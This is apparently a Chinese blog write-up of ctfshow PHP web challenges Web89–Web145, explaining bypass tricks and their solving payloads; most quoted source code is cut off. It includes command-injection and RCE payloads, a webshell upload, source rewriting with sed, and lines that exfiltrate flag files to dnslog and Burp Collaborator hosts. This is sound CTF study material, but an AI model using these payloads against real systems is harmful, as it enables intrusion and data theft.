Web89(数组绕过)
查看代码preg_match过滤0-9,即发现有0-9,就输出no no no然而intval函数的作用是返回变量的整数值,两者相互矛盾
这里可以通过数组绕过,构造payload: ?num[]=
原理:
且 preg_math()传入数组参数也会直接返回0
成功获取flag
Web90(intval取整)
查看源码,第一个if是验证num是否被设置,第二个if验证num是否是4476,如果是,就输出no no no ,第三个if验证num取整后是否等于4476
看到取整,还不好做吗~,直接输入小数取整绕过第二个if的验证
payload?num=4476.1
Web91(换行绕过)
查看源码
首先是
if(preg_match(‘/^php$/im’, $a)){这个if的意思是匹配$a开头和结尾是php,如果是php,进入下一个if
/^php$/im ^表示开头 $表示结尾 /i不区分大小写 /m表示多行匹配
preg_match(‘/^php$/i这个if的意思是匹配$a开头和结尾是php,不区分大小写,如果开头是php,那么就输出hacker
仔细对比发现,第二个if的过滤对比第一个,少了一个多行匹配/m,这可以用到Apache HTTPD换行解析漏洞(CVE-2017-15715)
大概意思是:以前的1.php可以用1%0aphp访问,%0a表示换行符,那么综上所述,就可以绕过函数的过滤
构造payload: ?cmd=a%0aphp
a%0aphp,首先是preg_match中的$(匹配结尾)匹配a%0aphp中的换行符,这个时候会匹配到%0a(将%0a当作换行),那么a%0aphp后面的php因为preg_match函数有个/m(匹配多行)就是单独的一行了,满足第一个if,要求行开始和结尾都是php
其次是第二个if,第二个if要求$a中开头和结尾没有php,而这个preg_match函数中没有/m匹配多行,所以就直接匹配abc,abc不满足第二个if,所以输出flag
Web92(intval的性质)
1 | if(isset($_GET['num'])){ |
直接payload:?num=4476.1或者intval()函数如果var中存在字母的话遇到字母就停止读取 payload2:?num=4476a123
Web93(intval性质)
在web92的基础上
过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574
当然直接4476.1梭哈也是可以的
Web94(intval)
1 | include("flag.php"); |
- strpos():查找某一字符在字符串第一次出现的位置,返回值是数字(出现的位置),如果没找到返回FALSE
这里是要我们的payload里面带有0,且第一位不能是0
假如返回的是5,那么就是if(!5),这样就不会die掉,只有!0才会进入if语句内
直接payload:?num=4476.0
Web95(绕过strpos)
1 | include("flag.php"); |
这次比上题,多过滤了一个点“.”
要求不能有字母,不能有’.’,而且要求有0,0不能出现在第一位,如果我们直接八进制输入010574,strpos函数会返回0,因为0在第一位,我们要在最前面加一个空格绕过
payload:?num=%20010574
payload2:?num=+010574
payload3:?num=%0a010574
空格不影响赋值,+号表示正数
Web96(伪协议读文件)
1 | highlight_file(__FILE__); |
payload1:?u=./flag.php
./表示当前目录
payload2:?u=php://filter/resource=flag.php
使用伪协议读取
Web97(md5绕过)
1 | include("flag.php"); |
这里要输入两个不同的a,b,md5弱类型比较可以直接数组过,其结果都会转换为null
所以payload1:a[]=1&b[]=2,用POST传参
payload2弱碰撞:
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。 payload: a=QNKCDZO&b=240610708
payload3强碰撞:
这时候需要找到两个真正的md5值相同数据
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2_
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2
Web98(三元运算符和指针)
1 | include("flag.php"); |
这里涉及了三元运算符
我们把这几段代码都分析一下
1 | $_GET?$_GET=&$_POST:'flag'; |
其他的也是同理如:$_GET[‘flag’]==’flag’?$_GET=&$_COOKIE:’flag’;
1 | if $_GET['flag']=='flag' |
这上面三条其中&表示传递地址,和指针的作用类似,将$_GET指向$_POST或者$_COOKIE
所以有两种payload1:
GET随便传点什么都可以
首先GET存在,$_GET指针指向$_POST
$_POST[‘HTTP_FLAG’]=flag的话
GET数组里面也会有$_GET[‘HTTP_FLAG’]=flag
下面的payload2同理
payload2:
流程:首先$_POST[flag]=flag
所以GET里面也有$_GET[flag]=flag,进入第二条判断,$_GET=&$_cookie指向cookie
cookie传入HTTP_FLAG=flag
这里其实也会进入server的判断,但是由于$_server没有传值,不影响
GET里面多出一个$_GET[HTTP_FLAG]=flag,完成最终判断
Web99(in_array漏洞)
1 | highlight_file(__FILE__); |
- array_push():在数组尾部插入元素
- rand(i,j):在i到j范围内产生随机数,是整形数
- in_array(b,[TRUE]):查找字符串b中是否有出现,有返回1, 无返回0
这个函数有个漏洞,没有设置第三个参数 就可以形成自动转换如:n=1.php自动转换为1
所以这一题的payload很简单:
n传入数字.php,数字在1到877之间即可,然后post传递content写入一句话木马进去,最后用蚁剑连接就好
payload2:在content内写入system(‘ls’),找到flag文件,最后读取即可
PHP(测试题)
下面为代码:
1 |
|
首先,我们先把一些陌生的东西列下来:
[:graph:] : 除空格,TAB外的所有字符
[:punct:] : 任何标点符号
[:digit:] : 任何数字
[:upper:] : 任何大写字母
[:lower:] : 任何小写字母
这些都是正则表达式,我们首先看第一个判断if (0 >= preg_match(‘/^[[:graph:]]{12,}$/‘, $DeadHeat))
这些都是正则表达式,我们首先看第一个判断if (0 >= preg_match(‘/^[[:graph:]]{12,}$/‘, $DeadHeat))
post传入一个参数Deadheat,然后这个deadheat至少要有12个可打印字符,也就是长度至少为12
第二个判断:
1 | $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; |
- preg_match_all:查询目标字符在字符串中出现的次数
这个判断的意思是,输入的DeadHeat可以识别出类型有六种,如:123ABabc
假如输入以上参数,返回值将是3
他有大写,小写,数字;如果是这样asdasdasda,那么只有1
所以这一个判断的意思是,要可以识别六种或者六种以上的种类(数字,符号,大小写字母)
第三个判断:
1 | $c = 0; |
和上面的原理是一样的,用foreach遍历,意思是输入的DeanHeat里至少有**’punct’, ‘digit’, ‘upper’, ‘lower’当中的三种类型
最后如果”42” == $DeadHeat,就输出flag,这里是一个弱类型,我们直接用科学计数法来搞
payload(post方式) :DeadHeat=42.000e-00000000
这里输入的一共长度为16满足条件一**,可以被识别出6次,满足条件二,有三种类型,满足条件三
Web100(运算符优先级和eval的利用)
1 | highlight_file(__FILE__); |
首先先看第一个_if_($v0)
:
由于赋值运算符的优先级更高,所以意思就是$v0=is_numeric($v1)
意思就是$v1要是一个数字,我们v1随便传一个数字上去就好
第二个判断和第三个判断:
要求v2里面不能有;分号,要求v3里面必须有分号;(所以这里不能用;隔开执行多条指令)
构造payload:
?v1=1&v2=?>&v3=;
具体为什么这样做,在命令执行Web72中在笔记中,已经阐述了关于eval的一些潜规则,可以把eval当做默认有
这边由于v3要求有;所以我才加了个,不加也是符合规则的
payload2:
?v1=1&v2=eval($_POST[1])?>#&v3=1;
这边#要URL编码一下,因为URL中#是有特殊含义的
Web101(反射类利用)
1 | $ctfshow = new ctfshow(); |
首先分析一下,第一层if还是老样子,和上一题一样
第二层和第三层if就变了,这次不能用上一题的方法,因为很多特殊符号被ban了:
这里注意一下,**v3中仍然可以用;
**这里用到反射类,什么是反射类呢:
参考本篇文章:php反射类 ReflectionClass_运真表姐的博客-CSDN博客
参考一下数据:
1 |
|
所以payload:
?v1=1&v2=echo new ReflectionClass&v3=;
eval结尾要有分号嘛,所以v3是;
得到以下结果:
可以看到flag在这行字符串中:74458f870x2d4b470x2d44bd0x2d8e800x2da2080f95365
其中0x2d
化成十进制为45
对应ascii码中的-
,替换一下得到
flag应该是ctshow{74458f87-4b47-44bd-8e80-a2080f95365?}
注意结尾的那个?那是不确定是什么,仔细数一下最后一个-后面的数字,只有11个
ctfshow上题目最后一排数字应该是12个数字,这里需要用burpsuite爆破一下(0-9,a-z)
抓包爆破,这里就不用intruduct了,就repeater里面一个个试着吧,爆破反应太快,会崩溃
最后尝试到0,发现correct,结束
Web102(进制转换+伪协议利用)
1 | highlight_file(__FILE__); |
看到这题有个file_put_contents,我就想到了杂糅代码(sry,PTSD?),就结果而言还是有点关系的好吧
首先一步步分析:
第一个判断的if和之前几题一样,赋值运算符的优先级更高,所以v2必须是个可以识别出的数字
第二步:$s是把v2从第二位开始裁取,然后$str用了个call_user_func
函数
- call_user_func:把第一个参数作为回调函数调用
一句话来概括就是,call_user_func($a,$b)=$a($b)
所以这边v1输入的肯定是个函数,然后$s就是函数的参数了
最后输出$str的结果,再把结果放进v3中,v3肯定是个文件名
- is_number在PHP5是可以识别十六进制的字符的,但是这一题环境是PHP7,所以不能用有e以外的字母的十六进制数字(可以被识别成科学计数法),而且字母数也只能为1。
- bin2hex:十六进制加密
- hex2bin:十六进制解密
所以思路是,传入先构造一个指令,如<?=
cat *;
意思是将当前目录所有文件和目录输出
将这个指令base64加密得到:PD89YGNhdCAqYDs=
之前也强调了,末尾的=可以去除,这里假如不去除,用bin2hex加密成十六机制后,就会有2个字母出现
去掉=后十六进制加密为:5044383959474e6864434171594473
这里面只有一个字母e,可以被识别成数字,所以我们的payload:?v2=125044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=flag.php
这里就用了filter伪协议的base64解码
这边注意v2,前面加了2个数字12,是因为substr从第二位开始截取
post传参:v1=hex2bin
传入之后再访问flag.php就能看到答案了:
ps:这里别命名flag.php,貌似会被覆盖掉,第一遍出错了
Web103
与Web102同解法
Web104(若知题)
1 | highlight_file(__FILE__); |
感觉好若知啊这一题,用了个sha1哈希加密,但是我传两个一样的数字不就行了吗
payload:?v2=1
post:v1=1
Web105(变量覆盖)
1 | highlight_file(__FILE__); |
考点:变量覆盖
好悬没给我转不过来,第一眼就进坑了,看到代码的第一眼是不是重点都在
1 | if(!($_POST['flag']==$flag)){ |
这一段代码,想着怎么样才能让他输出flag
误区:输入get:a=flag post:flag=a
这一段是真的很操蛋,我怎么会犯这种低级错误,第一个get传的是没什么问题的,但是post进入foreach后,提取出的是$key=flag,这和你$_POST[‘flag’]有什么关系?????
再次陷入误区:
我就输入post: _POST[‘flag’]=a
我就在想我当时为什么隔着套娃呢?你POST数组本来就叫做_POST
你再加一个_POST就会被当成这样:
1 | $_POST=array([_POST['flag']]=>'a']) |
搁这儿套娃,此_POST被识别成了POST数组中的内容!!!!!
爬出泥潭:
于是华生我发现了盲点:
1 | if(!($_POST['flag']==$flag)){ |
我是不是只要让$error=$flag就行了?????
那不是简单吗!payload: (get)?a=flag (post)error=a
流程是:
1 | $a=$flag |
然后判断的时候进入if,就die输出了flag!!!!
Web106(数组绕过sha1)
1 | highlight_file(__FILE__); |
easy,这里只需要科普一个小知识:
PHP中数组绕过可适用于:
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) = null
strpos(Array(),”abc”) = null
strlen(Array()) = null
可以看到sha1加密也可以用数组绕过
传参:?v2[]=1 v1[]=2
Web107(md5的0e利用)
1 | highlight_file(__FILE__); |
这道题也不是很难,钱钱的分析一下:
- parse_str(string $string, array &$result): void:
将字符串解析成多个变量
string
输入的字符串。
result
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
警告
极度_不建议_在没有 result 参数的情况下使用此函数, 并且在 PHP 7.2 中将_废弃_不设置参数的行为。PHP 8.0.0 起,result 参数是_强制的_。
这其实和extract函数是一样的,是什么意思呢?:
1 | <?php |
就是将我们字符串中的参数给他注册变量,只不过这里我们连接起来用&符号
知道这个函数是什么就好办了,这道题的关键部分就是要让**$v2[‘flag’]=md5($v3)**
v2是v1中参数注册变量后的结果,所以我们v1内注册v2
由于是弱类型比较,我们只需要让md5加密后为0e开头的数字就行(被当成科学计数法),结果会被当成0
md5加密后为0e开头的参考这篇文章:
然后输入v2=0
就可以得到flag
Web108(%00截断)
1 | highlight_file(__FILE__); |
- ereg:和preg_match一样的作用,他可以添加第三个参数$arr数组,来存放匹配的结果
这个函数在PHP5.3后被禁用,因为这个ereg函数有NULL(%00)截断漏洞,可以绕过
- strrev:字符串反转函数
首先正则表达式的意思是输入的只能是字母,这个饶了我好半天才想出来,并不是字母开头和结尾就行了,因为有个+号
这里就是考null截断问题,0x36d是877,反过来是778
payload:?c=a%00778
Web109(内置类的利用)
1 | highlight_file(__FILE__); |
首先在开始前,让我们先将一些知识点
- One
就是我们在一个字符串后面加括号,会默认被当成函数执行的,如:
如图所示,这2个函数都被执行了,也就是说当PHP识别到了形如字符串()
不管正确与否,都会把他当做函数先运行,首先我们要知道这个前提概念
- Two
其次就是要介绍3个内置类,Exception,ReflectionCLass,Error
这三个内置类都有一个共同特点,就是他们都有__tostring
方法:
里面的try,throw,catch的意思在:有被很好解释
就以Error为例子,其他两个内置类都有这一模一样的方法,我们只需要向里面传参,他就会返回结果给我们,所以这个参数可以是个函数
也就是说假如我们$a=new Error('system('ls')')
然后echo $a
返回的会是结果system后的结果
- Three
那我们的第三步就是去解题了,以上3个内置类随选,现在就来解题,题目的要求就是v1,v2都要有字母就可以
构造payload:
?v1=ReflectionClass&v2=system(‘ls’)
这里大家可能会好奇了,明明v2后面还有个(),为什么还能再加括号呢?
他其实是先运行了system(‘ls’),然后把结果当做一个新的函数,大概意思就这样flag36dg.txt inde.php()
这个函数无疑是错误的,所以没有返回值,返回给我们的只有system的结果
验证我们这个猜想,我们可以把v2变成phpinfo看看:
这证明我们的猜想是对的就变成了phpinfo()
- 结果
最后就读取fl36dg.txt就得出结果了:
Web110(内置类)
1 | highlight_file(__FILE__); |
这一题同样也用到了一个内置类:FilesystemIterator
这个类里有一个构造函数:
- dirname:输入一个路径,会去除掉文件名,获取所属目录,__FILE__就是当前目录
可以看到只要输入了当前目录,这个构造函数就会返回一个数组,包含当前目录的所有文件
当我们echo这个内置类,返回的只会是第一个文件名:
可以看到1.php是排序中第一个文件,得到验证
抱着这种想法去构造一下payload,由于v2被ban了下划线和‘.’,所以如何获取当前目录是一个问题
- getcwd():获取当前所在路径
所以最后的结果:
?v1=FilesystemIterator&v2=getcwd
最后直接url/fl36dga.txt即可
Web111(GLOBALS超全局变量)
1 | highlight_file(__FILE__); |
可以看到特殊符号也ban完了,这题考查的是变量覆盖,GLOBALS超全局变量
- $GLOBALS:超全局变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键
这一题可以看出就是变量覆盖,其中&表示地址,也就是指针
payload:?v1=ctfshow&v2=GLOBALS
Web112(伪协议利用+回溯次数超过)
1 | highlight_file(__FILE__); |
代码审计一下后发现,题目的意思是让我们提交一个file变量,file不能被识别成正常的文件
- is_file:判断是否为正常文件
要想被识别成不正常的文件,我们只需要用伪协议即可,虽然题目中ban了几种,但是filter没有ban,我们可以用filter: ?file=php://filter/resource=flag.php
其他也还有几种没被ban的伪协议:
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
payload:file=compress.zlib://flag.php
F
payload2:
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
其中/proc/self/root类似于一个loop?我在虚拟机里测试了一下发现确实是loop
.
所以一直loop类似于超过回溯次数,达到绕过的目的
Web113(伪协议)
1 | highlight_file(__FILE__); |
代码几乎一样,就是把filter伪协议ban掉了
这里用zlib压缩流伪协议:payload:file=compress.zlib://flag.php
非预期:
payload:file=compress.bzip2://flag.php
这样还得不出答案,bzip2和zlib都是一样的用法,不理解
参考:
Web114(伪协议)
1 | error_reporting(0); |
感觉弱智。。。。
?file=php://filter/resource=flag.php
直接出来了
这里不能用file啊,file和filter的意思不同,不是读取,而是访问
Web115(trim和is_numeric漏洞)
1 | include('flag.php'); |
在数字前加上空格,也会被is_numeric函数认为是数字:
1 |
|
trim函数会过滤空格以及\n\r\t\v\0,但不会过滤\f
1 |
|
所以payload:?num=%0c36
为啥我就想不到这些东西呢我日了狗了卧槽
Web123(变量命名规则+SERVER[‘argv’]利用)
1 | error_reporting(0); |
简单的代码审计一下发现,这一题是要求我们post传入参数CTF_SHOW
,CTF_SHOW.COM
,不传入参数fl0g
,然后还要传入参数fun
,经过过滤后执行fun语句
这一题有2个思路,一是利用eval去得到答案,二是利用最后一个判断去echo $flag;
- 思路一:
post传参:CTF_SHOW.COM=1&CTF_SHOW=1&fun=echo $flag
正当我好奇为什么行不通的时候,查阅资料发现:
无论是post还是get传参,当变量名出现空格
、+
、[
,.
时,都会自动替换成下划线_
而当前面有[
时,后面的.
或者是+
,空格
,都不会被替换
利用这一点我们payload改为:CTF[SHOW.COM=1&CTF_SHOW=1&fun=echo $flag
当然也可以把fun改为include $_GET[1]用伪协议去读取,也可以去读GLOBAS
- 思路二
思路二就是满足$fl0g==="flag_give_me"
去输出flag
这时候就需要去利用$a=$_SERVER['argv'];
什么是$_SERVER['argv']
呢?:
首先在本地的php.ini中开启一下register_argc_argv
,随便传参可以发现:
$_SERVER[‘argv’]是传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含请求信息。
1 |
|
然后可以用+(在URL中是空格的意思比%20更严谨),去分隔参数:
跟上面说的一样,post提交是无效的:
可以看到变成两个参数了,利用这一特性可以去构造payload:
get:?b=1+fl0g=flag_give_me
post:CTF[SHOW.COM=1&CTF_SHOW=1&fun=parse_str($a[1])
parse_str可以注册变量:
当我们如上get传参后,$_SERVER[‘argv’]中的数据是这样的:
可以看到分隔开来了,然后我们用parse_str去注册$a[1],达到效果输出flag
Web125(同上)
1 | error_reporting(0); |
就多ban了一些东西,flag,var_dump等等,骚方法很多
方法一:
payload:(post)CTF[SHOW.COM=1&CTF_SHOW=1&fun=var_export(get_defined_vars())
当然也可以换成CTF[SHOW.COM=1&CTF_SHOW=1&fun=highlight_file($_GET[1])
,1=flag.php
方法二:
同web123方法二
get:?b=1+fl0g=flag_give_me
post:CTF[SHOW.COM=1&CTF_SHOW=1&fun=parse_str($a[1])
Web126(同上)
1 | error_reporting(0); |
方法一:
同web123方法二
get:?b=1+fl0g=flag_give_me
post:CTF[SHOW.COM=1&CTF_SHOW=1&fun=parse_str($a[1])
这题比较狗血,他后面ban了几个单个字母,真的狗血,什么highlight,include,show,export全没了,真是个小天才
方法二:
post:CTF[SHOW.COM=1&CTF_SHOW=1&fun=assert($a[1])
get:?b=1+fl0g=flag_give_me
assert函数没有给ban掉,assert和eval几乎一样:
Web127(SERVER[‘QUERY_STRING’])
1 | error_reporting(0); |
知识点就是之前说的关于变量名字的问题
- 首先什么是
$_SERVER['QUERY_STRING']
:
和之前的$_SERVER['argv']
基本一样,但是有点不同,都是储存get请求信息的
1 |
|
可以看到也显示了请求信息,但是他的类型不是数组,而是一个字符串,所有用+分割不开,这是一个区别
- extract
把数组元素注册成变量,这个很简单很熟悉
所以构造payload:?ctf%20show=ilove36d
其中%20在GET数组中会被转化成下划线_,而空格在waf中没有被过滤,所以可以通过判断
最后储存在GET中是这样的:
可以看到ctf_show被注册了,最后直接输出flag
Web128(gettext拓展)
1 | error_reporting(0); |
一个新的姿势,当php扩展目录下有php_gettext.dll时:_()
是一个函数。_()
就等于gettext()
- gettext()有什么作用呢?
1
2
3
echo gettext('helloworld')
也就是将我们的输入的参数返回了
利用这一点构造payload:
?f1=_&f2=get_defined_vars
分析一下首先是把f1,f2放进了call_user_func
里,相当于gettext(get_defined_vars)
返回的也就是get_defined_vars
然后第二次调用call_user_func,等价于get_defined_vars()
call_user_func不设置第二个参数默认是空
最后就等于运行了var_dump(get_defined_vars()),成功得出答案
Web129(目录穿越和伪协议)
1 | error_reporting(0); |
- stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
- 返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释:字符串位置从 0 开始,不是从 1 开始。
- readfile:函数读取一个文件,并写入到输出缓冲。
- 返回值:文件字数
代码审计过后发现要让代码中有ctfshow这个字符串
payload1目录穿越:?f=/ctfshow/../../../../var/www/html/flag.php
or?f=./ctfshow/../flag.php
payload2伪协议:?f=php://filter/ctfshow/resource=flag.php
然后访问源码
or?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php
or?f=php://filter/convert.base64-encode|ctfshow/resource=flag.php
把结果解码一下就好了
Web130(回溯次数超限,数组绕过)
1 | error_reporting(0); |
朴素的不能再朴素的一题,要理解正则的意思,.+?
这三个字符使得必须要有一个字符在ctfshow前,不信?测试测试:
1 |
|
返回值是0,如果我们把+去掉会发生什么呢?:
因为?表示匹配0或者以上,咳咳不扯远了再回到最初的测试代码:
这可以证实ctfshow前面要有字符
payload1:f=ctfshow
因为他说不是false就可以。。。输入这个payload返回0
payload2:f[]=ctfshow
和数组绕过有关,这时候stripos返回的是null也不是false
payload3:写个python脚本,题目开始提示我们说very very very(省略25万个very)ctfshow
我们用python来加25w个very,来超过回溯次数
1 | import requests |
结果为:
simple!!!
web131(回溯次数超限)
使用web130中的python脚本超过回溯次数获得flag
Web132(逻辑预算符的优先级)
进来看到个byd界面,用dirsearch扫一下发现了个/admin目录,访问就得到了源码:
1 | include("flag.php"); |
mt_rand:
知识点就是逻辑预算符的优先级
&&比||的优先级要高:
参考
所所以第二层if里面先运算$code === mt_rand(1,0x36D) && $password === $flag
这个值是真还是假无所谓,只要$username ==="admin"
成立整个就为1
所以payload:?username=admin&code=admin&password=1
得出flag
Web133(shell中curl和ping的利用)
比较骚的一道题。。。利用了一些命令行指令
1 | error_reporting(0); |
寥寥几行代码透露着大大的无奈,题目只让我们用6个字符
这里就要有点套娃的去解题了,首先:
假如我们输入:F=
$F ;sleep 3
1 | 经过substr($F,0,6)截取后 得到 `$F `; |
其中反引号
,在php中就等价于shell_exec,表示通过shell环境执行命令,但是不会有回显,也就是一到无回显RCE
- 解法一:
首先讲一个比较骚的姿势,就是把内容带出来:
payload:
首先在DNSLOG上获得一个三级域名:http://dnslog.cn/
get传参:?F=
$F;ping
cat fla* | grep ctfshow.ennvj2.dnslog.cn
这里要用grep过滤一下,因为三级域名不能太长
之后点击刷新历史就可以看到我们的内容被带了出来
因为解析dns之前先会把我们的命令执行了,再把内容解析出来
- 解法二:
和使用dnslog类似,我们利用burpsuite的一个功能Collaborator Client:
点击copy to clipboard后就会把域名粘贴到我们的剪切板上
之后我们payload:?F=
$F ;curl -F '[email protected]' [https://m0nwco4mhcch4wlm97f2ij0e359yxn.burpcollaborator.net](https://m0nwco4mhcch4wlm97f2ij0e359yxn.burpcollaborator.net)
其中后面的是我们创建的域名
curl -F的意思就是以上传文件的形式发送POST请求[email protected]
就是我们要上传的文件,get是文件的name值,之后刷新:
得到了我们的答案
参考:
Web134(POST变量覆盖)
1 | highlight_file(__FILE__); |
考点:POST变量覆盖
首先说一下parse_str,把里面的参数当成在url里传递就行,这个函数会把url编码自动解码,你输入%26会自动给你转码成&,详细知识点在我的扫盲笔记里
payload:?_POST[key1]=36d&_POST[key2]=36d
这里的key1和key2不能用单引号包裹,在扫盲提到了为什么
$_SERVER[‘QUERY_STRING’]是什么前面也讲了
这里是运用parse_str
去给POST数组赋值
然后利用extract
去把POST数组内的参数注册为变量
Web135(copy,ping)
1 | error_reporting(0); |
都说了是133plus版那肯定是啊
payload1:?F=
$F ;cp flag.php 1.txt
很意外?这一题为什么给了我们写的权限,web133没给啊,可能是出题者的疏忽?
payload2:
先去DNSLOG拿个域名:68ignt.dnslog.cn?F=
$F ;ping
awk ‘NR==15’ flag.php.jxkktp.dnslog.cn
出现了一半的答案?
我们再payload:?F=
$F ;ping
awk ‘NR==16’ flag.php.jxkktp.dnslog.cn
多出了个flag2,好家伙拆成了两个
现在来讲一下payload的意思,awk 'NR==15' flag.php
的意思是,读取flag.php文件的第十五行,NR是awk指令里的一个常量,所以我们要从1一个个往下面读取
详细参考:
这里需要说一下由于是三级域名不支持把多行结果粘贴,所以不能用正则匹配去匹配
payload3:?F=
$F ;ping
nl flag.php | awk ‘NR==15’ |tr -cd “[a-z]”/“[0-9]” .jxkktp.dnslog.cn
得到了不带”-“的答案
再输入?F=
$F ;ping
nl flag.php | awk ‘NR==16’ |tr -cd “[a-z]”/“[0-9]” .jxkktp.dnslog.cn
也是一样不带-的答案
首先awk的意思都知道了
至于tr -cd
的意思是将我们的flag.php中有关"[a-z]"/"[0-9]"
的补集
的字符替删除
参考:
总而言之骚方法很多
Web136(时间盲注,tee)
比较出省的一道题
1 |
|
这一题呢,首先没告诉你flag在哪里,虽然ping没有完全ban了,但是你不知道文件在那里有个鸡儿用
exec指令和shell_exec一样,执行shell命令
这两个函数都是执行Linux命令函数,不同的是获取返回结果不一样,exec只能获取最后一行数据,shell_exec则可以获取全部数据
- 题解一:
tee
:用于读取标准输入的数据,并将其内容输出成文件。
tee也和touch一样可以创建新文件
我们直接payload:ls|tee 1
可以发现没有flag文件
继续ls / |tee get
,再访问get,可以下载get文件:
发现flag文件是f149_15_h3r3
再输入:cat /f149_15_h3r3|tee 2
下载2文件:
就可以看到答案了
- 解法二:
用bash盲注,有点类似于sql的时间盲注:
一步步跑脚本:
1 | import requests |
利用NR==去读行数,一行行的读!所以很复杂,首先先读取目录,看看flag在哪儿payload = "if [
ls / -1 | awk ‘NR==x’ |cut -c {} = '{}' ];then sleep 5;fi".format(i,char)
ls / -1
是让他以每行一个文件名的形式排列
这里format是python里的占位符,然后cut是一个选取命令:
不断的替换x去读不同的行号,所以会很慢
最后锁定在/f149_15_h3r3里payload = "if [
cat /f149_15_h3r3 | awk ‘NR==1’ |cut -c{} = '{}' ];then sleep 5;fi".format(i,char)
flag的格式是8-4-4-4-12
有一些读错了可能是bug,整体还是没错的
有关shell中if语句的有关参考:
- 题解三:
我愿意称之为最骚的方法,可以直接修改源码的指令
ls | xargs sed -i “s/die/echo/“
ls | xargs sed -i “s/exec/system/“
这两条指令相当于把当前目录下文件中的die换成echo,exec换成system
直接随便乱搞一通了payload:?c=tac f*
有关sed和xargs指令参考:
偷梁换柱,这里换成了eval,想测试测试木马()
总结:骚题目,太骚了
Web137(::访问static)
1 | error_reporting(0); |
略微脑瘫
PAYLOAD:
ctfshow=ctfshow::getFlag
访问静态方法
Web138(call_user_func和数组)
1 | error_reporting(0); |
call_user_func看来我还是不太熟练啊
这个函数可以通过传递数组参数来调用类里的方法或者是函数方法:
所以payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
这样可以用数组绕过strripos函数,又可以访问静态对象
Web139(bash盲注)
1 |
|
出省题目,太出省了
这一题不能用tee和sed指令了,试一下tee就知道,没有写入的权限了
所以这一题用bash时间盲注
跑Web136的脚本
我 不得不吐槽一下这一题是真的出省,跑脚本会跑错的,我也不知道为啥,会蹦出几个奇怪字符
Web140(常规操作)
1 | error_reporting(0); |
到了web140了啊,这一题相对好理解
我们输入的f1,f2首先得包含数字或者是字母,然后如果满足intval($code) == ‘ctfshow’
就输出flag,看一下==比较的真值表:
可以发现字符串等于0,所以“ctfshow”也就等于0,只需要intval($code) ==0即可
因此payload很多:
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1
bin2hex(bin2hex())
Web141(return命令执行+取反)
1 | highlight_file(__FILE__); |
这是一个典型的无字符数字rce
/^\W+$/ 作用是匹配非数字字母下划线的字符
这里只可以输入非数字字母下划线的字符
无数字字母构造命令参考文章:
方法还是很多的,主要还是如何绕过return:eval("return 1;phpinfo();");
这段代码是无法运行的
可以看到无反应,但是发现数字和命令可以参加运算的,这时候会触发:eval("return 1-phpinfo();");
(这里的双引号必须要,否则报错)
利用这一点和上面的无字母数字构造指令,用以下php脚本:
1 |
|
利用取反去构造指令,取反就是二进制按位取反
先取反,然后输入的时候再取反,二次取反
payload:?v1=1&v3=-(%8C%86%8C%8B%9A%92)(%93%8C)&v2=-1
成功运行,最后再构造指令show_source(‘flag.php’)
payload:?v1=1&v3=-(%8C%97%90%88%A0%8C%90%8A%8D%9C%9A)(%99%93%9E%98%D1%8F%97%8F)&v2=-1
Web142(常规操作)
1 | error_reporting(0); |
略微若知
payload:?v1=0
就会sleep(0)立刻输出flag
Web143(141plus)
1 | highlight_file(__FILE__); |
这题把上一题我们的解法ban了,不能用取反和自增,方法很多,我们用按位异或:
还是参考
写2个脚本,一个列出可用字符,一个进行处理:
1 |
|
都是可以改的,把按位异或可以改成,按位与,按位或都可以,视情况而变
1 | def action(arg): |
最后直接运行即可:
payload:
?v1=1&v3=(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0c%0c”^”%60%7f”)&v2=-1
再构造出system(‘tac f)
payload:
?v1=1&v3=*(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0b%01%03%00%06%00”^”%7f%60%60%20%60%2a”)&v2=-1
Web144(143plus)
1 | highlight_file(__FILE__); |
感觉不如143
没有ban掉我们的取反功能
构造payload:system(‘tac f*’)
payload:
?v1=1&v3=1&v2=-(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5)
v3长度只可以是1,那就换个地方执行命令,让v2去执行命令
‘/^\W+$/‘的意思是只匹配数字字母下划线以外的字符,无字母数字RCE的题目
Web145(web144plus)
plus了吗,好像确实有那么一点点
1 | highlight_file(__FILE__); |
相较于上一题ban了我们很多运算符,加减乘除都没了
但是注意,放出来了?和:和|
也就是说可以用三目运算符去写的
经过测试eval("return 1?phpinfo():1;")
